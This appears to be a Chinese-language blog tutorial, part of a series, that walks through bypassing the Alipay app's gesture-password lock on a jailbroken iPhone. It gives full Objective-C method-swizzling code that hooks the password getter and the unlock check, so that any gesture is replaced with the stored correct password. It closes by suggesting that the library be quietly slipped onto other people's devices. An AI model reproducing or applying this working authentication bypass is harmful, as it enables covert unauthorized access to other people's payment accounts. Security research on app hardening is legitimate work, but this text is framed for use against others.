本文将继续深入 hack 实战，hook 支付宝手势密码校验操作，欺骗其通过任意手势输入。
那么到现在为止，我们已经掌握了什么信息呢？
1）一个名叫 GestureUnlockViewController 的类，含有 gestureInputView:didFinishWithPassword: 方法，来处理输入的手势
2）正确的手势密码通过一个名叫 GestureUtil 的类读取，方法是 getPassword
思路马上清晰了，我们需要做 2 步：
1）hook getPassword 存下正确的密码
2）hook gestureInputView:didFinishWithPassword: 替换当前输入为正确的密码
一个关键点，我们是用 Method Swizzling 来 hook，那么就意味操作不能过早，因为我们要保证在取到 GestureUnlockViewController 和 GestureUtil class 后，才能进行 imp 替换。
所以， 我采用 NSNotificationCenter 通知机制协助完成任务。
#import#importIMP ori_getPasswd_IMP = NULL;
IMP ori_gesture_IMP = NULL;
@interface NSObject (HackPortal)
@end
@implementation NSObject (HackPortal)
+ (id)getPassword
{
NSString *passwd = ori_getPasswd_IMP(self, @selector(getPassword));
return passwd;
}
- (void)gestureInputView:(id)view didFinishWithPassword:(id)password
{
password = ori_getPasswd_IMP(self, @selector(getPassword));
ori_gesture_IMP(self, @selector(gestureInputView:didFinishWithPassword:), view, password);
}
@end
@implementation PortalListener
- (id)init
{
self = [super init];
if (self) {
[[NSNotificationCenter defaultCenter]addObserver:self
selector:@selector(appLaunched:)
name:UIApplicationDidBecomeActiveNotification
object:nil];
}
return self;
}
- (void)appLaunched:(NSNotification *)notification
{
Class class_GestureUtil = NSClassFromString(@"GestureUtil");
Class class_PortalListener = NSClassFromString(@"PortalListener");
Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword));
ori_getPasswd_IMP = method_getImplementation(ori_Method);
Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword));
method_exchangeImplementations(ori_Method, my_Method);
Class class_Gesture = NSClassFromString(@"GestureUnlockViewController");
Method ori_Method1 = class_getInstanceMethod(class_Gesture,
@selector(gestureInputView:didFinishWithPassword:));
ori_gesture_IMP = method_getImplementation(ori_Method1);
Method my_Method1 = class_getInstanceMethod(class_PortalListener,
@selector(gestureInputView:didFinishWithPassword:));
method_exchangeImplementations(ori_Method1, my_Method1);
}
-(void)dealloc
{
[[NSNotificationCenter defaultCenter]removeObserver:self];
}
@end
static void __attribute__((constructor)) initialize(void)
{
static PortalListener *entrance;
entrance = [[PortalListener alloc]init];
}
OK！编译好动态库，塞进 iPhone 试试效果吧～
不管我们输入什么手势，都会被替换为正确的密码去给 gestureInputView:didFinishWithPassword: 验证，然后顺利解锁。
这意味着什么呢？
意味着，我们可以通过正规的渠道让用户下载这个动态库，然后悄悄放进越狱的 iPhone 的 /Library/MobileSubstrate/DynamicLibraries/ 目录下……然后……然后去给妹纸帅锅变魔术吧：“你看，我和你多心有灵犀，你改什么密码我都猜的到!”